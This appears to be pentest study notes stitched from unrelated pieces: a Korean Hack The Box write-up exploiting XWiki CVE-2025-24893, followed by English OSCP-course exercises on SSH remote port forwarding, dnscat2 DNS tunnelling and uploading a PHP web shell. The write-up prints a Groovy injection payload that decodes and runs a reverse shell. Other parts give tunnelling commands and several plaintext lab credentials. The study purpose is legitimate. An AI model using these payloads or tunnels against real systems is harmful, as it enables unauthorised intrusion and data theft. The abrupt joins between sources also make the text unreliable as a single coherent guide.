구글링 하다 보면 OSCP 시험과 유사한 machine 들을 모아놓은 자료가 있는데,
거기서 나온 Hack the box 문제들을 풀고 있다.
80% 이상 풀고 블로그에 정리가 끝날 때쯤 시험을 보지 않을까 싶다.

sudo nmap -v -sC -sV 10.129.231.23포트 스캔 동작으로 22/80/8080 포트 오픈과 editor.htb 도메인을 확인할 수 있고, hosts 파일 수정 후 홈페이지에 접근하면
wiki.editor.htb 라는 'wiki' 서브도메인을 찾을 수 있지만 많이 쓰는 ffuf 로 한번 더 해봤다.
ffuf -u http://editor.htb -H "Host: FUZZ.editor.htb" -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -acffuf 사용 중 -ac 옵션으로 불필요한 데이터(노이즈) 를 걸러서 보면 편한다.
(5000 wordlists 로는 안잡혀서 20000으로 돌린건 비밀)
찾은 서브 도메인으로 접속 해보면 xWiki 의 15.10.8 버전이 사용중인걸 알 수 있고, 관련 취약점을 찾아보았다.
CVE-2025-24893 취약점은 요약하면
XWiki 에서 발생한 치명적인 미인증 원격 코드 실행(Unauthenticated RCE) 취약점으로
Xwiki 에서 전체 텍스트 검색을 위한 SolrSearch 매크로(내부 코드에서는 Main.SolrSearchMacros 로 정의되어 있음)
가 입력값으로 받은 매개변수에 대한 검증이 이루어지지 않아 Groovy 코드로 Injeciton 할 수 있는 취약점이라고 보면 된다.
그래서 PoC 코드를 보면
# Groovy payload
payload = (
f"}}}}}}{{{{async async=false}}}}{{{{groovy}}}}"
f"\"bash -c {{echo,{base64_revshell}}}|{{base64,-d}}|{{bash,-i}}\".execute()"
f"{{{{/groovy}}}}{{{{/async}}}}"
)groovy 코드 삽입으로 리버스 쉘을 실행시키는걸 볼 수 있다.
xwiki 계정으로 들어가 해당 서비스에서 default credential 를 확인할 수 있을만한 자료들을 찾아봤고,
https://wiki.archlinux.org/title/XWiki
XWiki - ArchWiki
XWiki is an open-source enterprise-ready wiki written in Java, with a focus on extensibility. Installation Feel free to follow along on the XWiki Installation Guide. These instructions assume you will be using Tomcat and PostgreSQL. It should not be too di
wiki.archlinux.org
위 사이트에서 XWiki 의 기본 구성. 환경 설정(Tomcat, PostgreSQL, install path, hibernate.cfg.xml) 등을 확인할 수 있었다.
hibernate.cfg.xml 파일에서 DB 와 연동하려는 connection URL, username, password 를 찾을 수 있다는걸 알고, 파일을 찾았다.
hibernate.connection.url : [URL]
hibernate.conneciton.username : xwiki
hibernate.connection.password : theEd1t0rTeam99
추가로 나온 인증 정보로 유저 계정으로 보이는 oliver 에 접속을 시도했고 접근 할 수 있었다.

18.4.1 Q1
Log in to MULTISERVER03 with the rdp_admin credentials we found in the Confluence database (rdp_admin:P@ssw0rd!). Enumerate which port forwarding techniques are available, then use the Windows OpenSSH client to create a port forward that allows you to reach port 4141 on PGDATABASE01 from your Kali machine.
Download the ssh_exe_exercise_client.bin binary from http://MULTISERVER03/umbraco/ssh_exe_exercise_client.bin to your Kali machine, and run it against port 4141 on PGDATABASE01, through the port forward you create. Once a successful connection is made, the client will print the flag it gets from the server.

- Start a listener

To get SSH access on the **PGdatabase01**, we have two options:
1. ssh from **Confluence01** directly
2. set a port forward and access from **kali**. For now, we used 2nd option but 1 is also easy.
We should set the **Remote port forward** because the only allowed port on Confluence01 in inbound is **8090** but all outbound ports are allowed. The student also can examine again the network topology on the previous sub-topic to better understand. (Figure 4-The network layout for our DNS experiments)
(Borrowed from Listing 30 Port **SSH Remote Port Forwarding** on **Module 18-** **Port Redirection and SSH Tunnelling**)
- Upgraded your shell
python3 -c 'import pty; pty.spawn("/bin/bash")'
- Now you should be able remote forward a port to kali
ssh -N -R 127.0.0.1:2345:10.4.XX.215:22 kali@192.168.XX.XX
- Now on kali you should be able to access the PGDatabase01 box from Kali
ssh database_admin@127.0.0.1 -p2345
- The creds to use:
**database_admin:sqlpass123**
In 2nd shell in Kali, connect to FELINEAUTHORITY with the kali:7he_C4t_c0ntro11er credentials and start dnscat-server.
kali@kali:~$ ssh kali@192.168.XX.7
kali@felineauthority:~$ dnscat2-server feline.corp
On PGDATABASE01, then can then run the dnscat binary, specifying the feline.corp domain.
database_admin@pgdatabase01:~/dnscat$ ./dnscat feline.corp
kali@felineauthority:~$ dnscat2-server feline.corp
dnscat2>
dnscat2> windows
You should then interact with the window using the -i flag, and set up to listen globally on FELINEAUTHORITY.
dnscat2> window -i 2
command (pgdatabase01) 2> listen 0.0.0.0:4647 172.16.XX.217:4646
can then download the dnscat_exercise_client binary to Kali machine, and point it to whichever port you set up to listen on FELINEAUTHORITY.
kali@kali:~$ wget http://192.168.XX.63:8090/exercises/dnscat_exercise_client
and finally:
kali@kali:~$ chmod +x dnscat_exercise_client
kali@kali:~$ ./dnscat_exercise_client -i 192.168.XX.7 -p 4647

Use msfvenom to create a PHP web shell (bind or reverse shell), rename the PHP file extension to .pHP (as we did in the Module "Common Web Application Attacks" in the section "Using Executable Files"), and upload it to VM #2 to obtain an interactive shell. The flag is located in C:\xampp\passwords.txt.

Capstone Exercise: Once VM Group 2 is started, the domain corp.com has been modified. Use the techniques from this Module to obtain access to the user account maria and log in to the domain controller. To perform the initial enumeration steps you can use pete with the password Nexus123!. You'll find the flag on the Desktop of the domain administrator on DC1. If you obtain a hash to crack, create and utilize a rule file which adds nothing, a "1", or a "!" to the passwords of rockyou.txt.
